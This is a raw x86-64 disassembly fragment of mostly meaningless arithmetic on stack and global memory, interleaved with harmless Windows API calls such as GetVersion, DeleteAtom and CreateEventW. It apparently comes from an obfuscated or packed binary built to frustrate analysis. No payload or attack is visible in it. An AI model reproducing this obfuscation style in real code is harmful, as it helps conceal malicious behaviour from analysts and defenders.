mov rcx, qword [rsp + 0x41b8]
mov word [rcx], ax
lea rax, [rsp + 0x5bf8]
mov qword [rsp + 0x6548], rax
mov eax, dword [rsp + 0x212c]
mov ecx, dword [rsp + 0x2110]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f44], eax
mov rax, qword [0x14018c2b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5e00]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x5ff8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3d80]
mov qword [rsp + 0x6550], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6550]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5a38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4158]
movsx eax, word [rax]
mov rcx, qword [0x14018be00]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x61b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x41f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x994]
xor eax, ecx
mov rcx, qword [0x14018c060]
mov word [rcx], ax
lea rax, [rsp + 0x5388]
mov qword [rsp + 0x6558], rax
movzx eax, word [rsp + 0xdf4]
mov rcx, qword [rsp + 0x5db8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd8c], ax
mov eax, dword [rsp + 0x1fc0]
mov dword [rsp + 0x21a0], eax
mov rax, qword [rsp + 0x4308]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x190]
sar eax, cl
mov rcx, qword [rsp + 0x46d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4258]
mov rcx, qword [0x14018be48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4990]
mov qword [rcx], rax
lea rax, [rsp + 0x101]
mov qword [rsp + 0x6560], rax
mov rax, qword [rsp + 0x62f8]
mov rcx, qword [rsp + 0x43f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5468]
mov dword [rcx], eax
lea rax, [0x14018c170]
mov qword [rsp + 0x6568], rax
lea rax, [rsp + 0xd00]
mov qword [0x14018c408], rax
mov rax, qword [rsp + 0x6150]
mov rcx, qword [rsp + 0x2ee0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ca8]
mov rcx, qword [rsp + 0x37e8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x47e8]
mov qword [rcx], rax
lea rax, [rsp + 0x9a8]
mov qword [rsp + 0x6570], rax
mov rax, qword [rsp + 0x5b58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
and eax, ecx
mov word [rsp + 0xc34], ax
mov rax, qword [rsp + 0x5178]
mov rax, qword [rax]
mov qword [rsp + 0x6578], rax
movsx eax, byte [0x14018bdca]
movsx ecx, byte [rsp + 0x1b8]
sar eax, cl
mov rcx, qword [rsp + 0x5550]
mov byte [rcx], al
lea rax, [rsp + 0x20c8]
mov qword [rsp + 0x6580], rax
mov rax, qword [rsp + 0x3098]
movzx ecx, al
mov rax, qword [rsp + 0x2fc0]
shl rax, cl
mov qword [rsp + 0x5540], rax
movsx eax, word [rsp + 0x3b8]
movsx ecx, word [rsp + 0xd3c]
xor eax, ecx
mov rcx, qword [0x14018c288]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x57a8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3b4], ax
lea rax, [0x14018acda]
mov qword [rsp + 0x6588], rax
mov rax, qword [rsp + 0x40c8]
mov rcx, qword [rsp + 0x4f68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4840]
mov dword [rcx], eax
lea rax, [rsp + 0x5358]
mov qword [rsp + 0x6590], rax
mov eax, dword [0x14018ad48]
mov ecx, dword [rsp + 0x1c00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2088], eax
mov rax, qword [rsp + 0x5f08]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2e28]
shr rax, cl
mov rcx, qword [rsp + 0x3d80]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1ad]
movsx ecx, byte [rsp + 0x1b2]
add eax, ecx
mov byte [rsp + 0x79], al
movsx eax, word [rsp + 0xc88]
movsx ecx, word [rsp + 0x688]
sub eax, ecx
mov rcx, qword [rsp + 0x5918]
mov word [rcx], ax
mov rax, qword [rsp + 0x3ff0]
movzx eax, word [rax]
mov word [0x14018c410], ax
lea rax, [rsp + 0x2fc8]
mov qword [rsp + 0x6598], rax
movzx eax, word [0x14018c158]
mov rcx, qword [rsp + 0x4850]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd10], ax
mov rax, qword [rsp + 0x3f38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc88]
and eax, ecx
mov rcx, qword [rsp + 0x4980]
mov word [rcx], ax
mov rax, qword [rsp + 0x6150]
mov rax, qword [rax]
mov qword [rsp + 0x65a0], rax
mov rax, qword [0x14018bfa0]
mov ecx, dword [rsp + 0x1bec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1c64], eax
mov rax, qword [rsp + 0x55c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5bd0]
mov qword [rsp + 0x65a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x65a8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x35e0], rax
mov rax, qword [rsp + 0x5370]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b0]
xor eax, ecx
mov rcx, qword [rsp + 0x5010]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc34]
shl eax, cl
mov word [rsp + 0x61c], ax
mov rax, qword [rsp + 0x47e8]
mov rcx, qword [rsp + 0x2fc8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [0x14018c3b8]
mov qword [rcx], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
mov byte [rsp + 0x1e9], al
mov rax, qword [rsp + 0x62d0]
mov rcx, qword [rsp + 0x5148]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2028], eax
mov rax, qword [rsp + 0x5640]
movzx eax, word [rax]
mov word [rsp + 0xe44], ax
movzx eax, word [rsp + 0xd7c]
movzx ecx, word [rsp + 0x3c0]
sub eax, ecx
mov rcx, qword [rsp + 0x5960]
mov word [rcx], ax
lea rax, [rsp + 0x2b40]
mov qword [rsp + 0x65b0], rax
mov rax, qword [rsp + 0x5698]
mov rcx, qword [rsp + 0x5638]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x50e0]
mov dword [rcx], eax
movsx eax, byte [0x14018bdc7]
mov rcx, qword [rsp + 0x62a8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4290]
mov byte [rcx], al
lea rax, [rsp + 0x3f8]
mov qword [rsp + 0x65b8], rax
lea rax, [rsp + 0xcfc]
mov qword [0x14018c418], rax
mov rax, qword [rsp + 0x3a10]
mov rcx, qword [rsp + 0x42d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d78]
mov qword [rcx], rax
lea rax, [rsp + 0x4f28]
mov qword [rsp + 0x65c0], rax
mov rax, qword [rsp + 0x5150]
mov rcx, qword [rsp + 0x4928]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4f28], rax
mov rax, qword [rsp + 0x5fe0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe00]
and eax, ecx
mov rcx, qword [rsp + 0x45e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6368]
mov ecx, dword [rsp + 0x2034]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1b3c], eax
mov rax, qword [rsp + 0x63f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6460]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5b10]
mov byte [rcx], al
mov rax, qword [0x14018be48]
mov qword [rsp + 0x65c8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1fb0], eax
mov rax, qword [rsp + 0x4410]
mov rcx, qword [rsp + 0x5408]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5210]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5948]
movzx eax, byte [rax]
movzx ecx, byte [0x14018acda]
xor eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4248]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6b0]
or eax, ecx
mov rcx, qword [0x14018c2e8]
mov word [rcx], ax
lea rax, [rsp + 0xcc4]
mov qword [rsp + 0x65d0], rax
mov rax, qword [rsp + 0x5bf0]
movzx eax, word [rax]
mov rcx, qword [0x14018be60]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x918], ax
lea rax, [rsp + 0x2f10]
mov qword [rsp + 0x65d8], rax
mov rcx, qword [rsp + 0x3cc8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x5e00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c5]
sar eax, cl
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x4468]
mov ecx, dword [0x14018be78]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2148], eax
lea rax, [rsp + 0x4e38]
mov qword [rsp + 0x65e0], rax
mov rax, qword [rsp + 0x53b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdb4]
sub eax, ecx
mov rcx, qword [rsp + 0x44c8]
mov word [rcx], ax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x65e8], rax
mov rax, qword [0x14018c128]
mov rcx, qword [rsp + 0x5208]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14018ada8], rax
mov rax, qword [rsp + 0x57a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe14], ax
mov rax, qword [0x14018c328]
mov rcx, qword [rsp + 0x5680]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2be0], rax
mov rax, qword [rsp + 0x55e8]
mov rcx, qword [rsp + 0x4928]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x32a0], rax
movsx eax, byte [rsp + 0x1e8]
mov rcx, qword [0x14018c2b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ba8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x65f0], rax
mov rax, qword [rsp + 0x4478]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fc0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov dword [rcx], eax
lea rax, [rsp + 0x8e]
mov qword [rsp + 0x65f8], rax
mov rax, qword [rsp + 0x50e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5938]
mov qword [rsp + 0x6600], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6600]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1bc8], eax
mov rax, qword [rsp + 0x4430]
movzx eax, word [rax]
mov word [0x14018c420], ax
movsx eax, word [rsp + 0xd38]
mov rcx, qword [rsp + 0x4710]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x56d0]
mov word [rcx], ax
lea rax, [rsp + 0x91c]
mov qword [rsp + 0x6608], rax
movzx eax, word [rsp + 0x3c0]
movzx ecx, word [rsp + 0xdb8]
sar eax, cl
mov word [rsp + 0xe34], ax
lea rax, [rsp + 0x15a]
mov qword [rsp + 0x6610], rax
mov rax, qword [rsp + 0x5178]
mov rcx, qword [rsp + 0x3068]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2ef8], rax
mov rax, qword [rsp + 0x3bd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2010], eax
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x6618], rax
movzx eax, word [0x14018c2dc]
mov rcx, qword [rsp + 0x4778]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4070]
mov word [rcx], ax
mov rax, qword [rsp + 0x6118]
mov rcx, qword [rsp + 0x3eb8]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14018c1f8], rax
lea rax, [rsp + 0x2e48]
mov qword [rsp + 0x6620], rax
mov rax, qword [rsp + 0x57d0]
mov rax, qword [rax]
mov rcx, qword [0x14018ace0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5f10], rax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov qword [rsp + 0x6628], rax
movzx eax, word [rsp + 0x918]
movzx ecx, word [rsp + 0xd98]
sar eax, cl
mov rcx, qword [rsp + 0x6270]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x5f30]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x6498]
mov byte [rcx], al
lea rax, [rsp + 0x2028]
mov qword [rsp + 0x6630], rax
mov rax, qword [0x14018c2f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x203c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5078]
mov dword [rcx], eax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x6638], rax
mov rax, qword [rsp + 0x3bc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c18]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c0e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [0x14018c074]
and eax, ecx
mov word [rsp + 0xca8], ax
movsx eax, word [rsp + 0xd3c]
mov rcx, qword [rsp + 0x6210]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6028]
mov word [rcx], ax
lea rax, [rsp + 0xdb8]
mov qword [rsp + 0x6640], rax
mov rax, qword [rsp + 0x3e70]
mov rcx, qword [rsp + 0x36e0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x48a8]
mov qword [rcx], rax
lea rax, [rsp + 0x1c58]
mov qword [rsp + 0x6648], rax
movsx eax, byte [rsp + 0x1e5]
movsx ecx, byte [rsp + 0x1bc]
or eax, ecx
mov byte [rsp + 0x1b1], al
mov rax, qword [rsp + 0x5688]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5158]
shr rax, cl
mov rcx, qword [rsp + 0x65b0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xce4]
movsx ecx, word [rsp + 0x69c]
add eax, ecx
mov word [rsp + 0x548], ax
movzx eax, word [rsp + 0x558]
movzx ecx, word [0x14018bde8]
sub eax, ecx
mov word [0x14018adb0], ax
mov rax, qword [rsp + 0x6080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5680]
mov qword [rcx], rax
lea rax, [rsp + 0xd28]
mov qword [rsp + 0x6650], rax
mov eax, 0x38
imul rax, rax, 1
lea rcx, [rsp + 0x162d0]
add rcx, rax
mov rax, rcx
mov dword [rax], 0x60dba36e
mov rax, qword [rsp + 0x6360]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e3]
add eax, ecx
mov byte [rsp + 0x1d4], al
mov rax, qword [rsp + 0x6508]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b90]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
lea rax, [rsp + 0x20cc]
mov qword [rsp + 0x6658], rax
mov rax, qword [rsp + 0x38e0]
mov rcx, qword [rsp + 0x3f88]
mov qword [rsp + 0x6660], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6660]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4c70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x45f0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ea], al
mov rax, qword [rsp + 0x4d10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4848]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x52a0]
mov word [rcx], ax
lea rax, [rsp + 0x9dc]
mov qword [0x14018c428], rax
lea rax, [0x14018ad90]
mov qword [rsp + 0x6668], rax
mov rax, qword [rsp + 0x5958]
mov rcx, qword [rsp + 0x48f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6440]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5c18]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x62b8]
mov word [rcx], ax
lea rax, [rsp + 0xe30]
mov qword [rsp + 0x6670], rax
mov rax, qword [rsp + 0x4d88]
mov ecx, dword [rsp + 0x1fe4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov dword [rcx], eax
lea rax, [rsp + 0x54c8]
mov qword [rsp + 0x6678], rax
mov rax, qword [rsp + 0x4638]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4900]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1a2], al
lea rcx, [rsp + 0x157b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x6008]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5230]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x53f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
mov rcx, qword [0x14018c228]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018beb0]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x6680], rax
lea rax, [rsp + 0x97c]
mov qword [rsp + 0x6688], rax
mov rax, qword [rsp + 0x5b40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3f10]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov byte [rcx], al
movzx ecx, word [rsp + 0xd70]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xda4], ax
mov rax, qword [rsp + 0x4520]
mov rcx, qword [rsp + 0x4d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1b78], eax
mov rax, qword [rsp + 0x48f0]
mov rcx, qword [rsp + 0x5bf8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5be8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5e88]
mov rcx, qword [rsp + 0x3068]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5750], rax
lea rax, [rsp + 0x210c]
mov qword [rsp + 0x6690], rax
mov rax, qword [rsp + 0x4900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x49e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x61c0]
mov byte [rcx], al
movzx eax, word [rsp + 0xc5c]
mov word [rsp + 0xe48], ax
mov rax, qword [0x14018c418]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xccc]
and eax, ecx
mov rcx, qword [0x14018c250]
mov word [rcx], ax
mov rax, qword [rsp + 0x5c50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x45c0]
sar rax, cl
mov qword [rsp + 0x5828], rax
lea rax, [rsp + 0xd64]
mov qword [rsp + 0x6698], rax
mov rax, qword [rsp + 0x5678]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d10]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xdb0], ax
mov rax, qword [rsp + 0x6230]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
mov qword [rsp + 0x66a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x66a0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3e40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5638]
mov ecx, dword [rsp + 0x1bec]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1b40], eax
movsx eax, byte [rsp + 0x1cd]
mov rcx, qword [rsp + 0x5878]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x63f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3f88]
mov rax, qword [rax]
mov qword [rsp + 0x66a8], rax
movzx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0x5f70]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4578]
mov word [rcx], ax
mov rax, qword [rsp + 0x3e40]
mov rax, qword [rax]
mov qword [0x14018c430], rax
mov rax, qword [rsp + 0x5148]
mov rcx, qword [rsp + 0x6630]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1f68], eax
movzx eax, byte [rsp + 0x1e9]
mov byte [rsp + 0x1eb], al
mov rax, qword [rsp + 0x4618]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdb0]
sar eax, cl
mov rcx, qword [rsp + 0x58c8]
mov word [rcx], ax
lea rax, [rsp + 0xe30]
mov qword [rsp + 0x66b0], rax
mov rax, qword [rsp + 0x6340]
mov rcx, qword [rsp + 0x5c48]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5c70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2034]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e00], eax
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x66b8], rax
mov rax, qword [rsp + 0x4448]
movsx eax, word [rax]
movsx ecx, word [0x14018be58]
and eax, ecx
mov word [rsp + 0xda0], ax
mov rax, qword [rsp + 0x6698]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60d0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018c208]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ff8]
mov rcx, qword [rsp + 0x4928]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d28], rax
mov rax, qword [rsp + 0x3368]
movzx ecx, al
mov rax, qword [0x14018ad28]
sar rax, cl
mov rcx, qword [rsp + 0x5310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x57f8]
mov rcx, qword [rsp + 0x3a10]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x48b8], rax
lea rax, [0x14018c074]
mov qword [rsp + 0x66c0], rax
mov eax, dword [rsp + 0x1d4c]
movzx ecx, al
mov eax, dword [rsp + 0x2188]
shl eax, cl
mov rcx, qword [rsp + 0x4fb0]
mov dword [rcx], eax
lea rax, [rsp + 0x2e28]
mov qword [rsp + 0x66c8], rax
mov rax, qword [rsp + 0x4940]
movsx eax, byte [rax]
movsx ecx, byte [0x14018bdca]
or eax, ecx
mov rcx, qword [rsp + 0x4ec0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6318]
movzx eax, byte [rax]
mov byte [rsp + 0x1ec], al
mov rax, qword [rsp + 0x63b0]
mov ecx, dword [rsp + 0x20dc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5ad0]
mov dword [rcx], eax
lea rax, [rsp + 0xdd4]
mov qword [0x14018c438], rax
movzx eax, word [rsp + 0xc78]
movzx ecx, word [rsp + 0xbb0]
sub eax, ecx
mov rcx, qword [rsp + 0x4030]
mov word [rcx], ax
lea rax, [rsp + 0xd34]
mov qword [rsp + 0x66d0], rax
mov rax, qword [rsp + 0x4a78]
mov rcx, qword [rsp + 0x3038]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5bf8], rax
lea rax, [0x14018ad18]
mov qword [rsp + 0x66d8], rax
mov rax, qword [rsp + 0x57e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d9]
and eax, ecx
mov rcx, qword [rsp + 0x4230]
mov byte [rcx], al
mov rax, qword [0x14018c310]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x210c]
shr eax, cl
mov rcx, qword [rsp + 0x5698]
mov dword [rcx], eax
lea rax, [rsp + 0xd0c]
mov qword [rsp + 0x66e0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x20e8], eax
movzx eax, word [rsp + 0xd60]
movzx ecx, word [rsp + 0xd58]
and eax, ecx
mov word [rsp + 0xbdc], ax
mov rax, qword [rsp + 0x37e8]
mov qword [0x14018c440], rax
mov rax, qword [rsp + 0x60d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x660], ax
mov rax, qword [rsp + 0x5020]
mov rcx, qword [rsp + 0x4f50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6008]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xd5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe4c], ax
mov rax, qword [rsp + 0x5ff0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5da0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x45d0]
mov qword [rcx], rax
lea rax, [rsp + 0x4540]
mov qword [rsp + 0x66e8], rax
movsx eax, byte [rsp + 0x1d6]
movsx ecx, byte [rsp + 0x1ea]
sub eax, ecx
mov rcx, qword [rsp + 0x54f8]
mov byte [rcx], al
lea rax, [rsp + 0x177]
mov qword [rsp + 0x66f0], rax
mov rax, qword [rsp + 0x44b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5338]
mov qword [rsp + 0x66f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x66f8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5730]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2074]
mov ecx, dword [rsp + 0x1b14]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53e8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x970]
mov rcx, qword [0x14018c0b8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14018c074], ax
mov rax, qword [rsp + 0x4ef0]
movzx eax, word [rax]
mov word [rsp + 0xe50], ax
movzx ecx, word [rsp + 0xdc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xcf4], ax
mov rax, qword [rsp + 0x59d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5d4]
sar eax, cl
mov rcx, qword [rsp + 0x48e8]
mov word [rcx], ax
lea rax, [rsp + 0xd48]
mov qword [rsp + 0x6700], rax
movzx ecx, word [rsp + 0xdcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe54], ax
mov rax, qword [rsp + 0x45d8]
mov rcx, qword [rsp + 0x4ac8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5190]
mov qword [rcx], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x6708], rax
mov eax, dword [rsp + 0x2038]
mov ecx, dword [rsp + 0x1ec4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2158], eax
mov rax, qword [rsp + 0x6618]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5b08]
mov word [rcx], ax
movzx eax, word [rsp + 0xe3c]
mov word [rsp + 0xe58], ax
mov rax, qword [rsp + 0x5aa8]
mov rcx, qword [rsp + 0x2d88]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c0d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5f50]
mov rcx, qword [rsp + 0x4498]
mov qword [rsp + 0x6710], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6710]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3820], rax
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x5700]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2d20], rax
mov rax, qword [rsp + 0x55c0]
mov rax, qword [rax]
mov rcx, qword [0x14018c248]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5df8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5458]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6320]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7e0], ax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0x5548]
mov rcx, qword [rsp + 0x4478]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov dword [rcx], eax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x6718], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
